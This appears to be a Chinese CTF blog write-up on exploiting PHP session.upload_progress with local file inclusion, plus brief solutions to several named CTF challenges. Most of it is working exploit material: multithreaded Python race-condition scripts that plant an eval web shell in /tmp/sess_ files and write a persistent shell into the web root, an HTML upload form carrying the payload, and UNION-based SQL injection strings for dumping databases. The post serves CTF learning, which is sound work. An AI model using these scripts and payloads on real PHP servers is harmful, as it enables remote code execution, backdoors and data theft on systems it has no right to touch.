主要是看(37条消息) 详解利用session进行文件包含_session文件包含的原理及利用条件_合天网安实验室的博客-CSDN博客
session 工作原理 (1)首先使用session_start()函数进行初始换。
(2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。
什么是session.upload_progress? 与open_basedir
、allow_url_fopen
、allow_url_include
等PHP配置一样,session.upload_progress
也是PHP的一个功能,同样可以在php.ini
中设置相关属性。其中最重要的几个设置如下:
1 2 3 4 session.upload_progress.enabled = on session.upload_progress.cleanup = on session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.enabled可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name的值即为session中的键值
另外,再添加个session配置中一个重要选项。
session.use_strict_mode=off
这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要
session.upload_progress开启之后会有什么效果? 当我们将session.upload_progress.enabled
的值设置为on 时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。
问题1:
那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?
分析1:
我们可以注意到,php.ini中session.use_strict_mode
选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx
时,PHP就会生成一个文件/tmp/sess_Lxxx
,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx
中去,具体文件的内容是什么,后面会写到。
问题2:
当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?
分析2:
进行条件竞争
如何利用session.upload_progress进行RCE? 首先,在网站根目录下随便新建一个test.php 文件
然后写一个Python程序用于往服务器上上传文件:
这里有几个注意点:
上传的文件大小为50KB,文件名为Lxxx.jpg
该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件
该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport iourl = "http://192.168.2.128/test.php" sessid = "Lxxx" def write (session ): filebytes = io.BytesIO(b'a' * 1024 * 50 ) while True : res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS' : "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID' : sessid }, files={ 'file' : ('Lxxx.jpg' , filebytes) } ) if __name__ == "__main__" : with requests.session() as session: write(session)
执行程序后,我们需要用tail -f
命令实时查看/tmp/sess_Lxxx
文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。
也就是说,/tmp/sess_Lxxx
文件中的内容为:
1 upload_progress_ <?php eval($_POST[1 ]);?>|a:5 :{s:10 :"start_time" ;i:1631343214 ;s:14 :"content_length" ;i:276 ;s:15 :"bytes_processed" ;i:276 ;s:4 :"done" ;b:0 ;s:5 :"files" ;a:1 :{i:0 ;a:7 :{s:10 :"field_name" ;s:4 :"file" ;s:4 :"name" ;s:8 :"Lxxx.jpg" ;s:8 :"tmp_name" ;N;s:5 :"error" ;i:0 ;s:4 :"done" ;b:0 ;s:10 :"start_time" ;i:1631343214 ;s:15 :"bytes_processed" ;i:276 ;}}}
仔细分析一下该文件内容,该文件分为两块,以竖线|
区分。
第一块内容如下:
1 upload_progress_<?php eval ($_POST [1 ]);?>
这一块内容由以下两个值组成:session.upload_progress.name
+PHP_SESSION_UPLOAD_PROGRESS
第二块内容如下:
1 a :5 :{s:10 :"start_time" ;i :1631343214 ;s:14 :"content_length" ;i :276 ;s:15 :"bytes_processed" ;i :276 ;s:4 :"done" ;b :0 ;s:5 :"files" ;a :1 :{i :0 ;a :7 :{s:10 :"field_name" ;s:4 :"file" ;s:4 :"name" ;s:8 :"Lxxx.jpg" ;s:8 :"tmp_name" ;N;s:5 :"error" ;i :0 ;s:4 :"done" ;b :0 ;s:10 :"start_time" ;i :1631343214 ;s:15 :"bytes_processed" ;i :276 ;}}}
一看就是序列化之后的值,我们将其进行反序列化后输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 array (5 ) {["start_time" ]=> int (1631343214 ) ["content_length" ]=> int (276 ) ["bytes_processed" ]=> int (276 ) ["done" ]=> bool (false ) ["files" ]=> array (1 ) { [0 ]=> array (7 ) { ["field_name" ]=> string (4 ) "file" ["name" ]=> string (8 ) "Lxxx.jpg" ["tmp_name" ]=> NULL ["error" ]=> int (0 ) ["done" ]=> bool (false ) ["start_time" ]=> int (1631343214 ) ["bytes_processed" ]=> int (276 ) } } }
可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。
接下来在网站根目录新建一个test.php 文件,文件内容如下:
1 2 3 <?php $a = $_GET ["a" ];include ($a );
很明显有一个文件包含的漏洞。
接下来我们利用session.upload_progress
进行条件竞争
以下代码有几个注意点:
整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2
利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话”
这里利用Python的threading模块,开5个线程进行条件竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requests import io import threading url = "http://192.168.2.128/test.php" sessid = "Lxxx" def write (session): filebytes = io.BytesIO (b'a' * 1024 * 50 ) while True: res = session.post (url, data={ 'PHP_SESSION_UPLOAD_PROGRESS' : "<?php eval($_POST [1]);?>" }, cookies={ 'PHPSESSID' : sessid }, files={ 'file' : ('Lxxx.jpg' , filebytes) } ) def read (session): while True: res = session.post (url+"?a=/tmp/sess_" +sessid, data={ "1" :"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST [2]);?>');" }, cookies={ "PHPSESSID" :sessid } ) res2 = session.get ("http://192.168.2.128/1.php" ) if res2.status_code == 200 : print ("成功写入一句话!" ) else : print ("Retry" ) if __name__ == "__main__" : evnet = threading.Event () with requests.session () as session: for i in range (5 ): threading.Thread (target=write, args=(session,)).start () for i in range (5 ): threading.Thread (target=read, args=(session,)).start () evnet.set ()
另外一种就用burp抓包了,手动访问了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html > <html > <head > <title > hakaiisu</title > <meta charset ="utf-8" > </head > <body > <form action ="http://challenge-41a945986720d0e4.sandbox.ctfhub.com:10800/" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="<?php eval($_POST['cmd']); ?>" /> <input type ="file" name ="file" /> <input type ="submit" value ="go" /> </form > </body > </html >
注意要添加cookie
[第五空间 2021]EasyCleanup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php if (!isset ($_GET ['mode' ])){ highlight_file (__file__); }else if ($_GET ['mode' ] == "eval" ){ $shell = isset ($_GET ['shell' ]) ? $_GET ['shell' ] : 'phpinfo();' ; if (strlen ($shell ) > 15 | filter ($shell ) | checkNums ($shell )) exit ("hacker" ); eval ($shell ); } if (isset ($_GET ['file' ])){ if (strlen ($_GET ['file' ]) > 15 | filter ($_GET ['file' ])) exit ("hacker" ); include $_GET ['file' ]; } function filter ($var ) { $banned = ["while" , "for" , "\$_" , "include" , "env" , "require" , "?" , ":" , "^" , "+" , "-" , "%" , "*" , "`" ]; foreach ($banned as $ban ){ if (strstr ($var , $ban )) return True; } return False; } function checkNums ($var ) { $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $cnt = 0 ; for ($i = 0 ; $i < strlen ($alphanum ); $i ++){ for ($j = 0 ; $j < strlen ($var ); $j ++){ if ($var [$j ] == $alphanum [$i ]){ $cnt += 1 ; if ($cnt > 8 ) return True; } } } return False; } ?>
题目给出了源码,分析这道题能干嘛,能利用的函数有eval()和include()
更进eval 怎么利用的要传参数shell,但是这里(strlen($shell) > 15 | filter($shell) | checkNums($shell),长度限制了,并且过滤了一下字符,数字加字母最多就8个字符,明显走不通,但是能利用这里phpinfo();
更进include 因为有个include函数,可以利用临时文件,日志文件来包含,但是日志文件长度不够,想着临时文件包含,看php版本发现是5.5>5.4,且session.upload_progress.enabled 开了的,所以利用脚本获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import ioimport requestsimport threading from cffi.backend_ctypes import xrangesessid = '0' target = 'http://node4.anna.nssctf.cn:28176/' file = 'ph0ebus.txt' f = io.BytesIO(b'a' * 1024 * 50 ) def write (session ): while True : session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_GET["cmd"]);?>' }, files={'file' : (file, f)}, cookies={'PHPSESSID' : sessid}) def read (session ): while True : resp = session.post( f"{target} ?mode=foo&file=/tmp/sess_{sessid} " ) if file in resp.text: print (resp.text) event.clear() else : print ("[+]retry" ) if __name__ == "__main__" : event = threading.Event() with requests.session() as session: for i in xrange(1 , 30 ): threading.Thread(target=write, args=(session,)).start() for i in xrange(1 , 30 ): threading.Thread(target=read, args=(session,)).start() event.set ()
[LitCTF 2023]这是什么?SQL !注一下 这道题,发现用打比赛写文件方法不行,发现过滤了<?,估计是比赛的非预期解吧 题目给出了查询语句,所以可以直接sql注入
尝试了1))))) or 1=1#把这个表数据爆完了发现了彩蛋的flag
没有正经的flag了,那估计再其他数据库里面了,通过联合注入,查询所有数据库,再查表查数据就行了
1 2 3 4 5 6 7 -1 )))))) union select schema_name,2 from information_schema.schemata#-1 )))))) union select group_concat(table_name),2 from information_schema.tables where table_schema= 'ctftraining' #-1 )))))) union select group_concat(column_name),2 from information_schema.columns where table_name= 'flag' and = 'ctftraining' #-1 )))))) union select flag,2 from ctftraining.flag
[陇剑杯 2021]jwt 都是简单的流量分析,你一看就会